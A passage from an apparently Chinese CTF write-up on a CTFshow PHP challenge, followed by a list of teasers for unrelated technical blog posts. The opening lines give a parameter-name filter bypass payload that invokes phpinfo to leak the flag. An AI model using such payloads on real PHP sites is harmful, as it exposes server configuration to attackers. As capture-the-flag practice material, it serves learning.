如果想传入这个,但是key又被过滤了,考虑之前的[._但是下划线和[被过滤,那就只能用.,flag就在phpinfo中,搜ctfshow

?..CTFSHOW…=phpinfo

相关文章:

CTFshow-php特性(Web125-150)

CTFshow-php特性(Web125-150) Web125 <?php error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a$_SERVER[argv]; $c$_POST[fun]; if(isset($_POST[CTF_SHOW])&&isset($_POST[CTF_SHOW.COM])&&!isset($_GET[fl0g])){if(!p…...

机器学习一点基础

人工智能&#xff08;Artificial Intelligence, AI&#xff09;和机器学习&#xff08;Machine Learning, ML&#xff09;是当今最热门的技术领域之一。然而&#xff0c;初学者往往面对大量的术语和技术细节&#xff0c;不知道从何入手。本文将以通俗易懂的方式介绍机器学习的基…...

【C++】 While循环高级分析与实践扩展

博客主页&#xff1a; [小ᶻ☡꙳ᵃⁱᵍᶜ꙳] 本文专栏: C 文章目录 &#x1f4af;前言&#x1f4af;While 循环基础知识1.1 基本语法形式1.2 if 与 while 的区别1.3 循环结构比较 &#x1f4af;While 循环实例分析2.1 执行结果2.2 计算流程分析 &#x1f4af;While 循环注意…...

React Native状态管理器Redux、MobX、Context API、useState

Redux、MobX、Context API、useState都是React中用于状态管理的工具&#xff0c;但它们各自有不同的特点和使用场景。 Redux 介绍&#xff1a; Redux是一个JavaScript状态管理库&#xff0c;最初由Dan Abramov和Andrew Clark于2015年开发。它基于Flux架构&#xff0c;强调状态…...

【AI系列】Paddle Speech安装指南

文章目录 环境依赖1. 安装Python1.1 下载Python安装包1.2 安装gcc1.3 安装依赖库1.4 编译和安装Python1.5 配置环境变量 2. 安装PaddlePaddle3. 安装PaddleSpeech4. 运行PaddleSpeech5. 解决常见问题5.1 错误&#xff1a;libssl.so.1.1解决方法&#xff1a; 5.2 错误&#xff1…...

【学习笔记总结】华为云:应用上云后的安全规划及设计

一、背景和问题 数字化时代&#xff0c;随着信息技术的飞速发展&#xff0c;企业和各类组织纷纷将自身的应用程序迁移至云端。云计算凭借其诸多优势&#xff0c;如成本效益、可扩展性、灵活性以及便捷的资源共享等&#xff0c;已然成为了现代业务运营的重要支撑。 今年&#xf…...

数据可视化-2. 条形图

目录 1. 条形图适用场景分析 1.1 比较不同类别的数据 1.2 展示数据分布 1.3 强调特定数据点 1.4 展示时间序列数据的对比 1.5 数据可视化教育 1.6 特定领域的应用 2. 条形图局限性 3. 条形图图代码实现 3.1 Python 源代码 3.2 条形图效果&#xff08;网页显示&#…...

设置Qt程序开机自启动(windows版本)

前言 本文展示在windows环境下&#xff0c;通过代码实现更改系统注册表的方式来实现程序的开机自动启动。 一、注册表 需要更改的系统注册表为: HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run 二、代码演示 1.头文件 头文件autorun.h #ifndef …...

LeetCode hot100-80

https://leetcode.cn/problems/partition-labels/description/?envTypestudy-plan-v2&envIdtop-100-liked 763. 划分字母区间 已解答 中等 相关标签 相关企业 提示 给你一个字符串 s 。我们要把这个字符串划分为尽可能多的片段&#xff0c;同一字母最多出现在一个片段中。…...

Ubuntu批量修改文件名

文章目录 批量重命名文件&#xff1a;Ubuntu下使用find命令结合sed和mv参考 批量重命名文件&#xff1a;Ubuntu下使用find命令结合sed和mv 在日常开发和文件管理中&#xff0c;有时我们需要批量重命名一批文件&#xff0c;比如将文件名中的某个特定字符串替换为另一个字符串。…...

CVMJ 2024 | StyleDiffusion: 基于Prompt嵌入的真实图像反演和文本编辑

论文&#xff1a;《StyleDiffusion: Prompt-Embedding Inversion for Text-Based Editing》 代码&#xff1a;https://github.com/sen-mao/StyleDiffusion​https://github.com/sen-mao/StyleDiffusion​ 问题背景 已有一些工作利用预训练扩散模型进行真实图像的编辑。这些方…...

UE5 帧数优化思路

A、思路 1、直接在GM的事件beginplay中改可延展性相对质量级别&#xff0c; 改为1或2&#xff0c;最简单粗暴的方式&#xff0c;而效果明显&#xff0c;帧数提高一倍&#xff0c;GPU占用率与显存占用直接下降一大截。在物体密集的地方卡顿会缓解很多&#xff0c;物体少的地方…...

【Java】正则表达式基础题+场景题练习

基础语法可以看我另一篇博客&#xff1a;正则表达式【规则】【实例】【技巧】_正则规则-CSDN博客 输出结果全是true public class StringRegexTest {public static void main(String[] args) {System.out.println(matchSingleNum("1"));System.out.println(matchMul…...

qq资料修改/空间操作

此工具仅支持 空间ck导入操作 发布说说 转发别人的动态分享 支持修改头像 修改昵称 空间权限获取 说说内容自定义 说放置说说图片 同样也支持多ck操作 详细支持如下 发布说说 转发分享 修改头像 修改昵称 允许空间 发送分享 设置访客权限 问题空间 清空相册 删除说说 封存三天…...

数据结构—图

目录 一、图的定义 二、图的基本概念和术语 2.1有向图 2.2无向图 2.3简单图 2.4多重图 2.5完全图 2.6子图 2.7连通、连通图和连通分量 2.8强连通图、强联通分量 2.9生成树&#xff0c;生成森林 2.10顶点的度、入度和出度 2.11边的权和网 2.12稠密图、稀疏图 2.1…...

【Prompt Engineering】2.迭代优化

一、环境配置 配置使用zhipuai API 的环境。安装 zhipuai 库&#xff0c;并设置 API_KEY。封装 zhipuai 接口的函数&#xff0c;参数为 Prompt&#xff0c;返回对应结果。 from zhipuai import ZhipuAI zhipu_client ZhipuAI(api_key"") # 一个封装 OpenAI 接口…...

每日十题八股-2024年12月16日

1.垃圾回收算法哪些阶段会stop the world? 2.minorGC、majorGC、fullGC的区别&#xff0c;什么场景触发full GC 3.垃圾回收器 CMS 和 G1的区别&#xff1f; 4.什么情况下使用CMS&#xff0c;什么情况使用G1? 5.G1回收器的特色是什么&#xff1f; 6.GC只会对堆进行GC吗&#x…...

使用 imageio 库轻松处理图像与视频

使用 imageio 库轻松处理图像与视频 imageio 是一个 Python 库&#xff0c;用于读取和写入多种图像和视频格式。它功能强大、易于使用&#xff0c;广泛应用于图像处理、视频编辑和数据可视化等领域。本篇文章将介绍 imageio 的基础功能、常见用法以及高级操作。 一、安装 imag…...

MR30分布式IO模块:驱动物流传输机高效升级

在日新月异的物流行业中&#xff0c;效率与智能化已成为推动企业转型升级的关键驱动力。随着物联网、大数据、云计算等技术的深度融合&#xff0c;传统物流传输机正逐步向智能化、自动化迈进。在这场技术革命中&#xff0c;明达技术MR30分布式IO模块以其独特的优势&#xff0c;…...

【开源免费】基于SpringBoot+Vue.JS在线竞拍系统(JAVA毕业设计)

本文项目编号 T 013 &#xff0c;文末自助获取源码 \color{red}{T013&#xff0c;文末自助获取源码} T013&#xff0c;文末自助获取源码 目录 一、系统介绍二、演示录屏三、启动教程四、功能截图五、文案资料5.1 选题背景5.2 国内外研究现状5.3 可行性分析 六、核心代码6.1 查…...

Docker

文章目录 仓库容器核心组件网络模式挂载方式Docker常用指令Compose常用指令代码 仓库 国内镜像仓库地址 修改方法见&#xff1a; https://cr.console.aliyun.com/cn-hangzhou/instances/mirrors 科大镜像&#xff1a;https://docker.mirrors.ustc.edu.cn/网易&#xff1a;ht…...

上海艾一公司-运维工程师知识点备战

1.AD域控&#xff08;ActionDirectory活动目录&#xff09; ad域的作用&#xff1a;批量管理主机和用户&#xff08;所以数量要多用这个才合适&#xff09; 前置1&#xff1a;VM安装Windows镜像 2.IT资产管理 3.会议室管理...

程序员实用工具之推荐(Recommendations for Practical Tools for Programmers)

11款程序员实用工具&#xff0c;老少皆宜 优秀程序员之所以优秀的原因并不一定是他写代码的速度比所有人都快&#xff0c;但他解决事情的效率一定是比很多人都要高的&#xff0c;提升工作效率的方法并不需要我们十八般武艺样样精通&#xff0c;有时候使用好的工具就能帮助我们大…...

win服务器的架设、windows server 2012 R2 系统的下载与安装使用

文章目录 windows server 2012 R2 系统的下载与安装使用1 windows server 2012 的下载2 打开 VMware 虚拟机软件&#xff08;1&#xff09;新建虚拟机&#xff08;2&#xff09;设置虚拟机&#xff08;3&#xff09;打开虚拟机 windows server 2012&#xff08;4&#xff09;进…...

当服务器数据包丢失该怎样进行解决?

当企业面对服务器数据包丢失的情况&#xff0c;都有哪些解决策略呢&#xff1f; 首先对于数据丢失&#xff0c;最直接的方法就是尝试进行数据恢复&#xff0c;数据恢复过程通常包括使用数据恢复软件扫描丢失数据的磁盘驱动器&#xff0c;以此来尝试找回丢失的文件&#xff0c;在…...

go语言 爬虫 钉钉群机器人

第一步&#xff1a;钉钉新建一个群机器人 钉钉创建群机器人文档&#xff1a;https://open.dingtalk.com/document/orgapp/custom-robot-access 安全设置选择签名 签名设置文档&#xff1a;https://open.dingtalk.com/document/robots/customize-robot-security-settings 第二步…...

14篇--模板匹配

原理 模板匹配就是用模板图&#xff08;通常是一个小图&#xff09;在目标图像&#xff08;通常是一个比模板图大的图片&#xff09;中不断的滑动比较&#xff0c;通过某种比较方法来判断是否匹配成功。 匹配方法 1. 平方差匹配TM_SQDIFF 以模板图与目标图所对应的像素值使用…...

Cadence学习笔记 5 四路HDMI原理图绘制

基于Cadence 17.4&#xff0c;四层板4路HDMI电路 更多Cadence学习笔记&#xff1a;Cadence学习笔记 1 原理图库绘制Cadence学习笔记 2 PCB封装绘制Cadence学习笔记 3 MCU主控原理图绘制Cadence学习笔记 4 单片机原理图绘制 目录 5、四路HDMI原理图绘制 快捷键总结&#xff1a;…...

一文详解“分治—归并“在算法中的应用

找往期文章包括但不限于本期文章中不懂的知识点&#xff1a; 个人主页&#xff1a;我要学编程(ಥ_ಥ)-CSDN博客 所属专栏&#xff1a; 优选算法专题 这里的归并与我们在数据结构中学习的归并排序是一样的&#xff0c;我们可以先来复习一下归并排序。用一道题来帮助我们回想起归…...

哪些视频媒体平台可给企业直播间做分发拉流转播宣传?提升流量数据!

【本篇由 言同数字媒体直播分发 原创】在如今信息爆炸的时代&#xff0c;直播已成为企业进行品牌传播、产品推广和与消费者互动的重要渠道。为了最大化直播效果&#xff0c;企业通常需要选择合适的视频平台进行直播分发和拉流宣传。以下是一些热门的视频平台&#xff0c;它们为…...

软硬件漏洞有哪些

关于网络软件安全漏洞与硬件安全漏洞&#xff0c;这是一个涉及到信息安全领域的重要问题。在当前信息化快速发展的背景下&#xff0c;无论是软件还是硬件的安全问题都可能成为安全隐患&#xff0c;因此了解这两方面的安全漏洞对于提升整体系统的安全性至关重要。 ### 网络软件…...

ElasticSearch系列:索引分片调整

一、前言 ElasticSearch版本&#xff1a;8.11.1 操作环境&#xff1a;机器数5&#xff0c;规格为16核32 GB 索引名称&#xff1a;test 索引大小&#xff1a;1.5G 索引分片&#xff1a;1主1副 测试环境将test索引调整为2主2副。计划采用如下两种方案&#xff1a; 方式耗时…...

KeyFormer:使用注意力分数压缩KV缓存

Keyformer: KV Cache Reduction through Key Tokens Selection for Efficient Generative Inference 202403&#xff0c;发表在Mlsys Introduction 优化KV cache的策略&#xff0c;主要是集中在系统级别的优化上&#xff0c;比如FlashAttention、PagedAttention&#xff0c;它…...

ElementPlus Table 表格实现可编辑单元格

通过基础的Table表格来实现单元格内容的可编辑 1.首先定位到需要编辑的列&#xff0c;替换el-table-column <el-table-column label"Editable Column" width"300"><template #default"{ row, column, $index }"><el-inputsize&qu…...

ASR-LLM-TTS 实时语音对话助手:语音识别、大模型对话、声音生成

参考:https://blog.csdn.net/weixin_42357472/article/details/137020794 asr:funasr-SenseVoiceSmall 离线 llm:deepseek 在线api tts:edge-tts 在线api import pyaudio import wave import threading import numpy as np import time from queue import Queue import web…...

怎样正确做 Web 应用的压力测试?

Web应用&#xff0c;通俗来讲就是一个网站&#xff0c;主要依托于浏览器来访问其功能。 那怎么正确做网站的压力测试呢&#xff1f; 提到压力测试&#xff0c;我们想到的是服务端压力测试&#xff0c;其实这是片面的&#xff0c;完整的压力测试包含服务端压力测试和前端压力测…...

什么是MyBatis?

MyBatis 是一个优秀的持久层框架&#xff0c;它消除了几乎所有的 JDBC 代码和手动设置参数以及获取结果集的工作。MyBatis 使用简单的 XML 或注解用于配置和原始映射&#xff0c;将接口和 Java 的 POJOs&#xff08;Plain Old Java Objects&#xff0c;普通的 Java对象&#xf…...

【网络云计算】2024第50周-每日【2024/12/13】小测-理论-写10个Bash Shell脚本-解析

文章目录 1. 计算1到100的和2. 列出当前目录下所有文件和文件夹3. 检查文件是否存在4. 备份文件到指定目录&#xff08;简单示例&#xff09;5. 打印系统当前日期和时间6. 统计文件中的行数7. 批量重命名文件&#xff08;将.txt后缀改为.bak&#xff09;8. 查找进程并杀死&…...

联发科MTK8788_MT8788安卓核心板安兔兔跑分_安卓主板方案商

MT8788安卓核心板具有集成的蓝牙、fm、WLAN和gps模块&#xff0c;是一个高度集成的基带平台&#xff0c;包括调制解调器和应用处理子系统&#xff0c;启用LTE/LTE-A和C2K智能设备应用程序。该芯片集成了工作在2.0GHz的ARM Cortex-A73、最高可达2.0GHz的ARM Cortex-A53和功能强大…...

文本情感分类

一、文本情感分类的基本概念 文本情感分类是自然语言处理&#xff08;NLP&#xff09;中的一个重要任务&#xff0c;它主要是对文本中所包含的情感倾向进行分类。情感倾向通常可以分为正面&#xff08;如赞美、高兴等&#xff09;、负面&#xff08;如批评、愤怒等&#xff09;…...

【已解决】启动此实时调试器时未使用必需的安全权限。要调试该进程,必须以管理员身份运行此实时调试器。是否调试该进程?

【已解决】启动此实时调试器时未使用必需的安全权限。要调试该进程&#xff0c;必须以管理员身份运行此实时调试器。是否调试该进程? 目录一、前言二、具体原因三、解决方法 目录 报错截图 一、前言 进行应用程序开发时&#xff0c;需要对w3wp进行附加调试等场景&#xff…...

3D工具显微镜的测量范围

一、测量尺寸范围 样品尺寸&#xff1a; 3D工具显微镜通常能够测量各种尺寸和形状的样品&#xff0c;从小至微米级别的微小结构到大至几厘米甚至更大的物体。具体的测量尺寸范围取决于显微镜的载物台大小、镜头焦距以及软件处理能力。测量精度&#xff1a; 3D工具显微镜的测量…...

电脑丢失dll文件一键修复的多种方法分析,电脑故障修复攻略

电脑在使用过程中&#xff0c;有时会遇到DLL文件丢失的情况&#xff0c;这可能导致软件无法正常运行或系统出现故障。当面对这种状况时&#xff0c;不必过于慌张&#xff0c;因为有多种有效的修复方法可供选择。下面我们一起来看看电脑丢失dll文件的多种解决方法。 一.了解什么…...

Elasticsearch 集群快照的定期备份设置指南

Elasticsearch 集群快照的定期备份设置指南 概述 快照&#xff1a; 在给定时刻对整个集群或者单个索引进行备份&#xff0c;以便在之后出现故障时可以基于之前备份的快照进行快速恢复。 前提条件&#xff1a; 准备一个备份存储盘&#xff0c;本指南采用的是AWS EFS文件系统做…...

【YashanDB知识库】kettle同步大表提示java内存溢出

【问题分类】数据导入导出 【关键字】数据同步&#xff0c;kettle&#xff0c;数据迁移&#xff0c;java内存溢出 【问题描述】kettle同步大表提示ERROR&#xff1a;could not create the java virtual machine! 【问题原因分析】java内存溢出 【解决/规避方法】 ①增加JV…...

HP服务器开启性能模式

ENERGY PERF BIAS CFG 模式指的是通过特定配置(通常是 BIOS 或操作系统中的设置)来控制处理器的能源性能偏置(Energy Performance Bias, EPB)。EPB 是一种机制,允许用户或系统管理员在性能和功耗之间进行权衡。不同的设置可以影响系统的响应速度、能效等。 ENERGY PERF B…...

【kubernetes】资源管理方式

目录 1. 说明2. 命令式对象管理3. 命令式对象配置4. 声明式对象配置5. 三种方式的对比 1. 说明 1.在Kubernetes&#xff08;k8s&#xff09;中&#xff0c;资源管理是一个核心功能&#xff0c;它允许用户通过操作资源来管理Kubernetes集群。2.Kubernetes将所有的内容都抽象为资…...

react源码探索之预先知识了解

最近快期末考试&#xff0c;本来不打算写博客的&#xff0c;但是一旦停下不知又是何年&#xff0c;或许是我工作之后&#xff0c;也或许是永远把。毕竟这只是用来记录我大学的殷实生活&#xff0c;大四我不再着重记录&#xff0c;而是投身于找工作。时光匆匆&#xff0c;重大一…...

【工具】Git 操作大全

文章目录 1. Git 基础操作1.1 初始化 Git 仓库1.2 克隆现有仓库1.3 配置 Git 用户信息1.4 查看 Git 配置信息 2. 文件操作2.1 查看文件状态2.2 添加文件到暂存区2.3 提交文件到本地仓库2.4 查看提交历史2.5 回退到上一个提交 3. 分支操作3.1 创建新分支3.2 切换分支3.3 查看所有…...

2024年12月17日Github流行趋势

项目名称&#xff1a;google-gemini / cookbook 项目维护者&#xff1a;MarkDaoust markmcd random-forests shilpakancharla Giom-V项目介绍&#xff1a;Gemini API 的使用示例和指南。项目star数&#xff1a;7,977项目fork数&#xff1a;998 项目名称&#xff1a;TEN-framew…...